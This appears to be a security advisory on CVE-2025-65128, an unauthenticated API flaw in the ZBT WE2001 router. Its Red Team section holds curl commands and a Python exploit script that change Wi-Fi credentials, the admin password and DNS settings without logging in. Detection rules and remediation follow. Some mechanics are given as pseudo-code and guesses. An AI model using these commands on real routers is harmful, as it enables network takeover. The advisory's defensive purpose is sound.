CVE-2025-65128

Executive Summary

CVE-2025-65128 exposes a critical missing authentication vulnerability in the web management API of Shenzhen Zhibotong Electronics ZBT WE2001 router (firmware version 23.09.27). An unauthenticated attacker on the local network can invoke API operations whose names end with *_nocommit to modify router and network configurations, including SSID, Wi-Fi credentials, and administrative passwords. No session or authentication is required. The vulnerability has a CVSS score of 8.1 (High) due to the low attack complexity and high impact on integrity and availability. No patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
• Base Score: 8.1 (High)
• Attack Vector: Adjacent Network (AV:A) – attacker must be on the same local network as the router.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: High (I:H) – attacker can modify all router configurations.
• Availability Impact: High (A:H) – attacker can disrupt network services by changing critical settings.

Threat Level: Critical for local network environments. The vulnerability allows complete takeover of the router's configuration without authentication.

Deep Dive & Mechanics

The ZBT WE2001 router exposes a web management API that processes HTTP requests to various endpoints. The vulnerability lies in the API's authentication mechanism: operations whose names end with *_nocommit are not protected by any authentication check. An attacker can send a crafted HTTP request to an endpoint like /goform/setWifi_nocommit or /goform/setAdminPassword_nocommit with the required parameters, and the router will execute the configuration change without verifying the user's identity.

The root cause is a missing authentication middleware or a flawed routing logic that fails to apply authentication checks to these specific operation names. The *_nocommit suffix likely indicates a "no commit" or "test" mode intended for debugging or internal use, but it was inadvertently exposed to the network.

Attack Flow:

1. Attacker connects to the same local network as the ZBT WE2001 router.
2. Attacker sends an HTTP POST request to http://<router-ip>/goform/setWifi_nocommit with parameters like ssid=EvilNetwork&password=attacker123.
3. The router processes the request and changes the Wi-Fi SSID and password without any authentication.
4. Attacker can similarly change the admin password, DNS settings, or other configurations.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is in the web server's request handler that processes API endpoints. The following pseudo-code illustrates the vulnerable logic:

Vulnerable (ZBT WE2001 23.09.27):

def handle_request(request):
    if request.path.endswith("_nocommit"):
        # Missing authentication check
        process_config_change(request)
    else:
        if authenticate(request):
            process_config_change(request)
        else:
            return 401 Unauthorized

Patched (hypothetical):

def handle_request(request):
    if not authenticate(request):
        return 401 Unauthorized
    process_config_change(request)

The patch would require removing the *_nocommit bypass or adding authentication checks to all endpoints.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: ZBT WE2001 router with firmware 23.09.27
• Attacker: Linux machine on the same subnet (e.g., 192.168.1.100)
• Router IP: 192.168.1.1

Exploitation Steps:

1. Change Wi-Fi SSID and Password:

curl -X POST http://192.168.1.1/goform/setWifi_nocommit \
  -d "ssid=EvilNetwork&password=attacker123"

2. Change Admin Password:

curl -X POST http://192.168.1.1/goform/setAdminPassword_nocommit \
  -d "oldPassword=&newPassword=attacker123"

3. Change DNS Settings:

curl -X POST http://192.168.1.1/goform/setDns_nocommit \
  -d "primaryDns=8.8.8.8&secondaryDns=8.8.4.4"

Automated Exploit Script:

import requests
import sys

def exploit(router_ip, action, params):
    url = f"http://{router_ip}/goform/{action}_nocommit"
    response = requests.post(url, data=params)
    print(f"[+] Sent request to {url}")
    print(f"[+] Response: {response.status_code}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python exploit.py <router_ip> <action> <param1=value1> ...")
        sys.exit(1)
    router_ip = sys.argv[1]
    action = sys.argv[2]
    params = {}
    for arg in sys.argv[3:]:
        key, value = arg.split("=")
        params[key] = value
    exploit(router_ip, action, params)

Blue Team

Detection:

• Monitor for HTTP POST requests to endpoints ending with _nocommit.
• Alert on any configuration changes made without a valid session.
• Use network segmentation to isolate router management interfaces.

Hunting:

• Search logs for requests to /goform/*_nocommit.
• Check for unauthorized changes to SSID, admin passwords, or DNS settings.

Mitigation:

• Disable remote management if not needed.
• Apply strict firewall rules to allow only trusted IPs to access the router's web interface.
• Monitor for firmware updates from Shenzhen Zhibotong Electronics.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /goform/*_nocommit endpoints.
  • Unusual SSID or Wi-Fi password changes.
  • Unexpected admin password changes.
  • DNS server changes to known malicious IPs.

• File IOCs:

  • Modified configuration files on the router (e.g., /etc/config/wireless, /etc/config/dhcp).

• Behavioral IOCs:

  • Router web interface accessible without authentication.
  • Multiple failed login attempts followed by successful configuration changes.

Detection Engineering

YARA Rule

rule CVE_2025_65128_ZBT_WE2001_Unauth_API {
    meta:
        description = "Detects HTTP requests to ZBT WE2001 unauthenticated API endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65128"
    strings:
        $nocommit = /\/goform\/[a-zA-Z]+_nocommit/
        $post = "POST"
    condition:
        $post and $nocommit
}

Sigma Rule

title: ZBT WE2001 Unauthenticated API Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to ZBT WE2001 router endpoints ending with _nocommit
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '_nocommit'
    condition: selection
falsepositives:
    - Legitimate debugging activities (if any)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-65128 - ZBT WE2001 Unauthenticated API Access";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"_nocommit";
    http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the router: Place the ZBT WE2001 on a separate VLAN or network segment with restricted access.
2. Disable remote management: If not required, disable the web management interface from the WAN side.
3. Apply firewall rules: Allow only trusted IP addresses to access the router's web interface (port 80/443).
4. Monitor logs: Enable logging and monitor for any *_nocommit requests.

Long-term Fix:

• Contact Shenzhen Zhibotong Electronics for a firmware patch.
• If no patch is available, consider replacing the router with a more secure model.
• Implement network segmentation and access controls to limit exposure.

Workaround:

• Use a reverse proxy or WAF to block requests containing _nocommit in the URI.
• Example Nginx rule:

location /goform/ {
    if ($request_uri ~ "_nocommit") {
        return 403;
    }
}

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert